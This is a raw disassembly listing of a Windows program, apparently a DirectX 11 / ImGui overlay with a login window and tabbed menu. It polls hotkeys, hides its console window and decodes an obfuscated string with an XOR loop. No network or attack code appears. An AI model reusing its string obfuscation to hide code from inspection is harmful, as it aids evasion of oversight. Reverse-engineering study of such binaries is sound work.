mov r8d, 0x255
lea rdx, str.D:DelX_Project_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], 0
jne 0x140059b77
call fcn.14004a780
call fcn.14004bba0
call fcn.140009510
mov qword [rbp + 0x90], 0xffffffffffffffff
mov qword [rbp + 0x98], 0xffffffffffffffff
mov qword [rbp + 0xa0], 0xffffffffffffffff
mov qword [rbp + 0xa8], 0xffffffffffffffff
mov dword [rbp + 0xb0], 0xffffffff
mov qword [rbp + 0xb4], 0xfffffffffffffffd
mov dword [rbp + 0xbc], 0xffffffff
mov qword [rbp + 0xc0], r15
cmp qword [0x1401234c8], 0
jne 0x140059c14
mov qword [rsp + 0x30], r15
lea rax, [0x1401234c8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x268
lea rdx, [0x140108b10]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401234a0], 0
jne 0x140059c55
mov qword [rsp + 0x30], r15
lea rax, [0x1401234a0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x14b
lea rdx, [0x1400fcb20]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140123450], 0
jne 0x140059c96
mov qword [rsp + 0x30], r15
lea rax, [0x140123450]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0xa04
lea rdx, [0x1400fc110]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401234e8], 0
jne 0x140059cd7
mov qword [rsp + 0x30], r15
lea rax, [0x1401234e8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x6f0
lea rdx, [0x14011f690]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140123460], 0
jne 0x140059d18
mov qword [rsp + 0x30], r15
lea rax, [0x140123460]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x195
lea rdx, [0x140120e10]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401234b0], 0
jne 0x140059d59
mov qword [rsp + 0x30], r15
lea rax, [0x1401234b0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x181
lea rdx, [0x140108980]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401234d0], 0
jne 0x140059d9a
mov qword [rsp + 0x30], r15
lea rax, [0x1401234d0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x156
lea rdx, [0x140108820]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140123490], 0
jne 0x140059ddb
mov qword [rsp + 0x30], r15
lea rax, [0x140123490]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x1de
lea rdx, [0x1400fcdb0]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140123478], 0
jne 0x140059e1c
mov qword [rsp + 0x30], r15
lea rax, [0x140123478]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0xe9
lea rdx, [0x140120d20]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140123498], 0
jne 0x140059e5d
mov qword [rsp + 0x30], r15
lea rax, [0x140123498]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x134
lea rdx, [0x1400fcc70]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401234d8], 0
jne 0x140059e9e
mov qword [rsp + 0x30], r15
lea rax, [0x1401234d8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x1cd
lea rdx, [0x140120b50]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140123470], 0
jne 0x140059edf
mov qword [rsp + 0x30], r15
lea rax, [0x140123470]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x1ca
lea rdx, [0x140120420]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401234a8], 0
jne 0x140059f20
mov qword [rsp + 0x30], r15
lea rax, [0x1401234a8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x139
lea rdx, [0x1401205f0]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401234b8], 0
jne 0x140059f61
mov qword [rsp + 0x30], r15
lea rax, [0x1401234b8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x148
lea rdx, [0x14011fd80]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401234e0], 0
jne 0x140059fa2
mov qword [rsp + 0x30], r15
lea rax, [0x1401234e0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x100
lea rdx, [0x140120a50]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140123468], 0
jne 0x140059fe3
mov qword [rsp + 0x30], r15
lea rax, [0x140123468]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x243
lea rdx, [0x1400fe130]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401234f0], 0
jne 0x14005a024
mov qword [rsp + 0x30], r15
lea rax, [0x1401234f0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x7aa
lea rdx, [0x140120fb0]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140123480], 0
jne 0x14005a065
mov qword [rsp + 0x30], r15
lea rax, [0x140123480]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x23f
lea rdx, [0x1400fe380]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401234c0], 0
jne 0x14005a0a6
mov qword [rsp + 0x30], r15
lea rax, [0x1401234c0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x313
lea rdx, [0x140120730]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140123488], 0
jne 0x14005a0e7
mov qword [rsp + 0x30], r15
lea rax, [0x140123488]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0xfbe
lea rdx, [0x14011e6d0]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140123458], 0
jne 0x14005a128
mov qword [rsp + 0x30], r15
lea rax, [0x140123458]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x90]
mov r8d, 0x1192
lea rdx, [0x1400fcf90]
mov rcx, qword [0x140123110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rax, qword [0x140122bc0]
test rax, rax
jne 0x14005a155
mov r8d, 0x10ae
lea rdx, str.D:DelX_Projectimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140122bc0]
movss xmm0, dword [rax + 0x18]
mulss xmm0, dword [0x1400e9c48]
mov ecx, dword [0x1401217b0]
cmp ecx, 0xff
jg 0x14005a17e
cmp byte [reloc.WS2_32.dll_accept], 0
mov eax, Ordinal_301
jne 0x14005a181
mov eax, r15d
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si r8d, xmm1
mov dword [0x1401217b0], r8d
cmp r8d, 0xff
jle 0x14005a1be
mov dword [0x1401217b0], 0xff
mov r8d, 0xff
xor edx, edx
mov r9d, 2
mov rcx, qword [0x140122c40]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov edx, r15d
cmp dword [0x1401217b0], 0
mov eax, 5
cmovg edx, eax
mov rcx, qword [0x140122c40]
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005a20f
cmp byte [reloc.WS2_32.dll_accept], 0
sete byte [0x1401217c8]
mov ecx, dword [0x140122c20]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movabs rbx, 0x7fffffffffff
test al, 1
je 0x14005a30a
xorps xmm0, xmm0
movups xmmword [rbp + 0xa88], xmm0
mov qword [rbp + 0xa98], 2
mov qword [rbp + 0xaa0], reloc.WS2_32.dll_ntohs
movzx eax, word [0x1400e7994]
mov word [rbp + 0xa88], ax
mov byte [rbp + 0xa8a], 0
movups xmmword [rbp + 0xac8], xmm0
mov qword [rbp + 0xad8], r15
mov qword [rbp + 0xae0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xac8], 0
movups xmmword [rbp + 0xae8], xmm0
mov qword [rbp + 0xaf8], r15
mov qword [rbp + 0xb00], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xae8], 0
movups xmmword [rbp + 0xaa8], xmm0
mov qword [rbp + 0xab8], 2
mov qword [rbp + 0xac0], reloc.WS2_32.dll_ntohs
mov word [rbp + 0xaa8], ax
mov byte [rbp + 0xaaa], 0
lea rax, [rbp + 0xa88]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xac8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xae8]
mov qword [rsp + 0x20], rax
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0xaa8]
lea rcx, [0x140121760]
call fcn.1400511c0
mov ecx, dword [0x140122c04]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005a40d
xorps xmm0, xmm0
movups xmmword [rbp + 0xa68], xmm0
mov qword [rbp + 0xa78], 3
mov qword [rbp + 0xa80], reloc.WS2_32.dll_ntohs
mov eax, dword [0x1400e7998]
mov word [rbp + 0xa68], ax
movzx ecx, byte [0x1400e799a]
mov byte [rbp + 0xa6a], cl
mov byte [rbp + 0xa6b], 0
movups xmmword [rbp + 0xb08], xmm0
mov qword [rbp + 0xb18], r15
mov qword [rbp + 0xb20], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb08], 0
movups xmmword [rbp + 0xb28], xmm0
mov qword [rbp + 0xb38], r15
mov qword [rbp + 0xb40], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb28], 0
movups xmmword [rbp + 0xa08], xmm0
mov qword [rbp + 0xa18], 3
mov qword [rbp + 0xa20], reloc.WS2_32.dll_ntohs
mov word [rbp + 0xa08], ax
mov byte [rbp + 0xa0a], cl
mov byte [rbp + 0xa0b], 0
lea rax, [rbp + 0xa68]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xb08]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xb28]
mov qword [rsp + 0x20], rax
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0xa08]
lea rcx, [0x140121760]
call fcn.1400511c0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movzx ecx, byte [0x140122bba]
test cl, cl
jne 0x14005cc49
mov rcx, qword [0x140122bc0]
mov eax, dword [rcx + 0x47f0]
or eax, 2
mov dword [rcx + 0x47f0], eax
movsd xmm0, qword [0x1401217b8]
movsd qword [rcx + 0x4810], xmm0
mov esi, 1
mov dword [rcx + 0x47f8], esi
or eax, esi
mov dword [rcx + 0x47f0], eax
mov qword [rcx + 0x4800], 0
xorps xmm1, xmm1
xorps xmm0, xmm0
unpcklps xmm0, xmm1
movsd qword [rcx + 0x4808], xmm0
mov dword [rcx + 0x47f4], esi
xor edx, edx
mov r8d, 0x202b
lea rcx, str.Login
call fcn.14000ffa0
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test sil, al
jne 0x1400606c1
mov r8, qword [0x140122bc0]
mov rax, qword [r8 + 0x3f08]
mov byte [rax + 0xb8], sil
mov rax, qword [r8 + 0x3f08]
mov rbx, qword [rax + 0x2a0]
test r8, r8
jne 0x14005a4f9
mov r8d, 0xbe5
lea rdx, str.D:DelX_Projectimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r8, qword [0x140122bc0]
lea r15, [r8 + 0x37c8]
mov rax, qword [r8 + 0x3f08]
movss xmm8, dword [rax + 0x20]
movss xmm9, dword [rax + 0x24]
movsd xmm1, qword [rax + 0x28]
movsd xmm7, qword [rax + 0x20]
addss xmm7, xmm1
movss xmm6, dword [rax + 0x24]
movaps xmm0, xmm1
shufps xmm0, xmm0, 0x55
addss xmm6, xmm0
movss xmm0, dword [0x140123b08]
movss dword [rbp + 0x5c8], xmm0
movss xmm1, dword [0x140123b0c]
movss dword [rbp + 0x5cc], xmm1
movss xmm0, dword [0x140123b10]
movss dword [rbp + 0x5d0], xmm0
movss xmm1, dword [0x140123b14]
mulss xmm1, dword [r15]
movss dword [rbp + 0x5d4], xmm1
lea rcx, [rbp + 0x5c8]
call fcn.1400049e0
mov edi, eax
test eax, 0xff000000
je 0x14005a666
addss xmm8, xmm10
addss xmm9, xmm10
movaps xmm3, xmm11
mov eax, 0xf0
test byte [rbx + 0x30], sil
je 0x14005a5e4
subss xmm7, xmm10
movss dword [rbp + 0x4f0], xmm7
subss xmm6, xmm10
movss dword [rbp + 0x4f4], xmm6
movss dword [rbp + 0x4e8], xmm8
movss dword [rbp + 0x4ec], xmm9
lea rdx, [rbp + 0x4e8]
lea r8, [rbp + 0x4f0]
jmp 0x14005a624
subss xmm7, dword [0x1400e9ba8]
movss dword [rbp + 0x500], xmm7
subss xmm6, dword [0x1400e9ba8]
movss dword [rbp + 0x504], xmm6
movss dword [rbp + 0x4f8], xmm8
movss dword [rbp + 0x4fc], xmm9
lea rdx, [rbp + 0x4f8]
lea r8, [rbp + 0x500]
mov dword [rsp + 0x20], eax
mov rcx, rbx
call fcn.14002be80
movss xmm0, dword [0x1400e9c24]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], esi
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.140029fe0
xor esi, esi
mov dword [rbx + 0x78], esi
mov r8, qword [0x140122bc0]
jmp 0x14005a668
xor esi, esi
movups xmm0, xmmword [0x140123938]
movups xmmword [r15 + 0x10c], xmm0
movups xmm1, xmmword [0x140123a38]
movups xmmword [r15 + 0x13c], xmm1
xorps xmm6, xmm6
xorps xmm0, xmm0
movss xmm1, dword [0x1400e9c24]
unpcklps xmm0, xmm1
movsd qword [r15 + 0x4c], xmm0
xorps xmm0, xmm0
unpcklps xmm0, xmm6
movsd qword [r15 + 8], xmm0
mov dword [r15 + 0x10], 0x41000000
mov rax, qword [r8 + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [r8 + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
movss xmm7, dword [0x1400e9c5c]
addss xmm0, xmm7
addss xmm1, xmm7
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0x508], 0x441b0000
mov dword [rbp + 0x50c], 0x42700000
mov rax, qword [r8 + 0x3f08]
mov byte [rax + 0xb8], 1
lea rdx, str.General_Tabs
mov rcx, qword [r8 + 0x3f08]
call fcn.140007fa0
mov edx, eax
mov dword [rsp + 0x20], 0x80
lea r8, [rbp + 0x508]
lea rcx, str.General_Tabs
call fcn.14000c380
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
movsd xmm9, qword [rax + 0x20]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
mov rbx, qword [rax + 0x2a0]
movss xmm0, dword [0x140124448]
movss dword [rbp + 0x5d8], xmm0
movss xmm1, dword [0x14012444c]
movss dword [rbp + 0x5dc], xmm1
movss xmm0, dword [0x140124450]
movss dword [rbp + 0x5e0], xmm0
movss xmm1, dword [0x140124454]
mulss xmm1, dword [rcx + 0x37c8]
movss dword [rbp + 0x5e4], xmm1
movsd qword [rbp + 0x928], xmm9
movaps xmm0, xmm9
addss xmm0, dword [0x1400e9db4]
movss dword [rbp + 0x510], xmm0
movss xmm10, dword [rbp + 0x92c]
movaps xmm11, xmm10
addss xmm11, dword [0x1400e9ce8]
movss dword [rbp + 0x514], xmm11
movss dword [rbp + 0x520], xmm9
movss dword [rbp + 0x524], xmm10
lea rcx, [rbp + 0x5d8]
call fcn.1400049e0
mov r9d, eax
mov dword [rsp + 0x28], esi
movss dword [rsp + 0x20], xmm7
lea r8, [rbp + 0x510]
lea rdx, [rbp + 0x520]
mov rcx, rbx
call fcn.14002c4e0
movsd xmm0, qword [str.qS__]
movsd qword [rbp - 0x28], xmm0
mov ecx, dword [0x1400e97f8]
mov dword [rbp - 0x20], ecx
cmp byte [0x1400e97fb], 0
je 0x14005a9f2
mov r8d, esi
cmp r12d, 2
jl 0x14005a9b9
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov eax, dword [0x1400ea030]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.qS__]
xorps xmm1, xmm0
movd dword [rbp - 0x28], xmm1
movdqa xmm2, xmmword [0x1400e9fa0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x24]
xorps xmm2, xmm1
movd dword [rbp - 0x24], xmm2
movdqa xmm2, xmmword [0x1400e9fb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp - 0x20], xmm2
jmp 0x14005a9f2
lea r9, [rbp - 0x28]
nop dword [rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14005a9c0
movups xmm0, xmmword [0x140123b08]
movups xmmword [rbp + 0xe58], xmm0
lea rcx, [rbp + 0xe58]
call fcn.1400049e0
mov r14d, eax
movaps xmm0, xmm9
movss xmm7, dword [0x1400e9c8c]
addss xmm0, xmm7
movss dword [rbp + 0x528], xmm0
movaps xmm1, xmm10
addss xmm1, xmm7
movss dword [rbp + 0x52c], xmm1
mov rdi, qword [0x140122c68]
test eax, 0xff000000
je 0x14005aaf4
lea rax, [rbp - 0x28]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x14005aa54
lea rsi, [rbp - 0x28]
add rsi, rcx
lea rax, [rbp - 0x28]
cmp rax, rsi
je 0x14005aaf2
test rdi, rdi
jne 0x14005aa7e
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
mov rcx, qword [rdi + 0x40]
mov rax, qword [rbx + 0x98]
cmp qword [rcx + 8], rax
je 0x14005aaa9
mov r8d, 0x6bc
lea rdx, str.D:DelX_Projectimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm6
mov qword [rsp + 0x38], rsi
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
lea r9, [rbp + 0x528]
movaps xmm2, xmm7
mov rdx, rbx
mov rcx, rdi
call fcn.1400362d0
xor esi, esi
movss xmm5, dword [0x140123b08]
movss dword [rbp + 0x5e8], xmm5
movss xmm4, dword [0x140123b0c]
movss dword [rbp + 0x5ec], xmm4
movss xmm3, dword [0x140123b10]
movss dword [rbp + 0x5f0], xmm3
mov rax, qword [0x140122bc0]
movss xmm2, dword [rax + 0x37c8]
movaps xmm0, xmm2
mulss xmm0, dword [0x140123b14]
movss dword [rbp + 0x5f4], xmm0
movss dword [rbp + 0x5f8], xmm5
movss dword [rbp + 0x5fc], xmm4
movss dword [rbp + 0x600], xmm3
movss dword [rbp + 0x604], xmm0
movss dword [rbp + 0x608], xmm5
movss dword [rbp + 0x60c], xmm4
movss dword [rbp + 0x610], xmm3
mulss xmm2, xmm6
mulss xmm2, dword [0x140123b14]
movss dword [rbp + 0x614], xmm2
movss dword [rbp + 0x618], xmm5
movss dword [rbp + 0x61c], xmm4
movss dword [rbp + 0x620], xmm3
movss dword [rbp + 0x624], xmm2
movaps xmm7, xmm9
addss xmm7, dword [0x1400e9d40]
movss dword [rbp + 0x530], xmm7
movaps xmm8, xmm10
addss xmm8, dword [0x1400e9cac]
movss dword [rbp + 0x534], xmm8
movaps xmm6, xmm9
addss xmm6, dword [0x1400e9d3c]
movss dword [rbp + 0x538], xmm6
movaps xmm0, xmm10
addss xmm0, dword [0x1400e9c74]
movss dword [rbp + 0x53c], xmm0
lea rcx, [rbp + 0x5e8]
call fcn.1400049e0
mov r11d, eax
lea rcx, [rbp + 0x5f8]
call fcn.1400049e0
mov r10d, eax
lea rcx, [rbp + 0x608]
call fcn.1400049e0
mov r8d, eax
lea rcx, [rbp + 0x618]
call fcn.1400049e0
mov r9d, eax
mov dword [rsp + 0x30], r11d
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r8d
lea r8, [rbp + 0x530]
lea rdx, [rbp + 0x538]
mov rcx, rbx
call fcn.14002cde0
movss xmm5, dword [0x140123b08]
movss dword [rbp + 0x628], xmm5
movss xmm4, dword [0x140123b0c]
movss dword [rbp + 0x62c], xmm4
movss xmm3, dword [0x140123b10]
movss dword [rbp + 0x630], xmm3
mov rax, qword [0x140122bc0]
movss xmm2, dword [rax + 0x37c8]
movaps xmm0, xmm2
xorps xmm1, xmm1
mulss xmm0, xmm1
mulss xmm0, dword [0x140123b14]
movss dword [rbp + 0x634], xmm0
movss dword [rbp + 0x638], xmm5
movss dword [rbp + 0x63c], xmm4
movss dword [rbp + 0x640], xmm3
movss dword [rbp + 0x644], xmm0
movss dword [rbp + 0x648], xmm5
movss dword [rbp + 0x64c], xmm4
movss dword [rbp + 0x650], xmm3
mulss xmm2, dword [0x140123b14]
movss dword [rbp + 0x654], xmm2
movss dword [rbp + 0x658], xmm5
movss dword [rbp + 0x65c], xmm4
movss dword [rbp + 0x660], xmm3
movss dword [rbp + 0x664], xmm2
movss dword [rbp + 0x540], xmm7
movaps xmm0, xmm10
addss xmm0, dword [0x1400e9cc8]
movss dword [rbp + 0x544], xmm0
movss dword [rbp + 0x548], xmm6
movss dword [rbp + 0x54c], xmm8
lea rcx, [rbp + 0x628]
call fcn.1400049e0
mov r11d, eax
lea rcx, [rbp + 0x638]
call fcn.1400049e0
mov r10d, eax
lea rcx, [rbp + 0x648]
call fcn.1400049e0
mov r8d, eax
lea rcx, [rbp + 0x658]
call fcn.1400049e0
mov r9d, eax
mov dword [rsp + 0x30], r11d
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r8d
lea r8, [rbp + 0x540]
lea rdx, [rbp + 0x548]
mov rcx, rbx
call fcn.14002cde0
mov ecx, dword [0x140122c38]
cmp ecx, 1
je 0x14005ade7
cmp ecx, 2
je 0x14005b16d
cmp ecx, 3
jne 0x14005add9
mov dword [0x1400fcb14], 0x59
jmp 0x14005adf1
cmp ecx, 4
je 0x14005b16d
cmp ecx, 5
jne 0x14005adf1
mov dword [0x1400fcb14], 0x5c
mov rdx, qword [0x140122bc0]
test rdx, rdx
jne 0x14005ae24
mov r8d, 0x10ae
lea rdx, str.D:DelX_Projectimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov ecx, dword [0x140122c38]
mov rdx, qword [0x140122bc0]
mov eax, dword [0x1400fcb14]
imul eax, ecx
movd xmm6, eax
cvtdq2ps xmm6, xmm6
subss xmm6, dword [0x140122c2c]
movss xmm0, dword [rdx + 0x18]
mulss xmm0, dword [0x1400e9c74]
mulss xmm6, xmm0
addss xmm6, dword [0x140122c2c]
movss dword [0x140122c2c], xmm6
mov rax, qword [rdx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rdx + 0x3f08]
mov r10, qword [rax + 0x2a0]
movdqa xmm0, xmmword [0x1400ea2a0]
movups xmmword [rbp + 0xe68], xmm0
lea rcx, [rbp + 0xe68]
call fcn.1400049e0
movaps xmm0, xmm9
addss xmm0, dword [0x1400e9d84]
addss xmm0, xmm6
movss dword [rbp + 0x550], xmm0
movaps xmm0, xmm10
addss xmm0, dword [0x1400e9cd4]
movss dword [rbp + 0x554], xmm0
movaps xmm1, xmm9
addss xmm1, dword [0x1400e9d50]
addss xmm1, xmm6
movss dword [rbp + 0x558], xmm1
movaps xmm0, xmm10
addss xmm0, dword [0x1400e9c64]
movss dword [rbp + 0x55c], xmm0
mov dword [rsp + 0x28], esi
movss xmm0, dword [0x1400e9c34]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x550]
lea rdx, [rbp + 0x558]
mov rcx, r10
call fcn.14002c4e0
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
mov r10, qword [rax + 0x2a0]
movups xmm0, xmmword [0x140123b08]
movups xmmword [rbp + 0xe78], xmm0
lea rcx, [rbp + 0xe78]
call fcn.1400049e0
movaps xmm6, xmm9
addss xmm6, dword [0x1400e9d7c]
movaps xmm0, xmm6
addss xmm0, dword [0x140122c2c]
movss dword [rbp + 0x560], xmm0
movss dword [rbp + 0x564], xmm11
addss xmm9, dword [0x1400e9d5c]
movaps xmm0, xmm9
